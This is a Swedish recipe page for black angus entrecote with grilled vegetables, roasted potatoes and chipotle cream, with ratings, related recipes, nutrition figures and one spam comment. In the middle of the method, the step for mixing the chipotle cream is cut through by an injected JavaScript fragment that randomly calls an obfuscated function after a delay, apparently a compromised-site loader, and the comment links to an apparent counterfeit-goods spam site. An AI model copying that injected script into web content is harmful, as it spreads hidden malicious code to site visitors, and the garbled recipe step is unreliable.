Black angus, entrecote med grillade grönsaker, rostad potatis och chipotlekräm.

2013-09-16
_SAM0336_SAM0337_SAM0338_SAM0339
  • Servings : 1-2
  • Prep Time : 10m
  • Cook Time : 20m
  • Ready In : 25m

Ingredienser

  • 200g entrecote
  • 150g kvartad potatis
  • 100g 1/2 bifftomat
  • 100g halverad endiver
  • 30g tjockt skivad rödlök
  • Timjan
  • 1st svartvitlöks klyfta (det går lika bra utan)
  • 20g riven parmesan
  • 10g smör
  • Svartpeppar
  • Örtsalt

Chipoltekräm

  • 50g kvarg
  • Ca 1/2 tesked Chipoltpure
  • 1 tesked citronjuice

Gör så här:

Sätt igång ugnen på 200C grill

Massera in svartvitlöken i köttet. Låt det stå i rumstemperatur.

Placera potatisen med smör, svartpeppar och örtsalt i ugnen i 20 minuter.

Blandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a chipoltekrämen

Grilla tomat, endive och lök på en grillpanna i ca 10 minuter.
Lägg dom åt sidan.
Grilla köttet i ca 8-10 minuter, låt den vila i ca 2 minuter,
krydda med svartpeppar och örtsalt.

När det är ca 5 minuter kvar, lägg den riven parmesanen ovanpå tomat och endive, ta ut potatisen, knuffa dem åt sidan, lägg grönsakerna bredvid, placera i ugnen igen.

Medlemsbetyg

(5 / 5)

5 5 1
Betygsätt recept

1 people rated this recipe

Related Recipes:
  • Nutellapannkakor

    Nutellapannkakor

  • _SAM0905

    Sallad på svartvitlöks rostad pumpa, lök, paprika, tomat med chevreost, spenat och svartkålschips.

  • _SAM0920

    Svartvitlöks rostad kyckling

  • _SAM0671

    Sremska korv med rostad gulbeta, potatis, sparris, spenat, svartvitlök med fetaostkräm

  • Vitchoklad & hallonpudding

    Vitchoklad & hallonpudding

Näringssinnehåll

Informationen gäller per portion

  • kCal

    344,8
  • Protein

    29,7 g
  • Kolhydrater

    16,7 g
  • Fett

    17 g

Recipe Comments

  1. posted by moncler vos on 17/10/2013

    @iceberg WHOA I’ve watched the series several times HOW DID I MISS THAT.
    [url=http://www.tanea.es/inlicio.aspx?4]moncler vos[/url]

      Reply

Post A Comment

Current ye@r *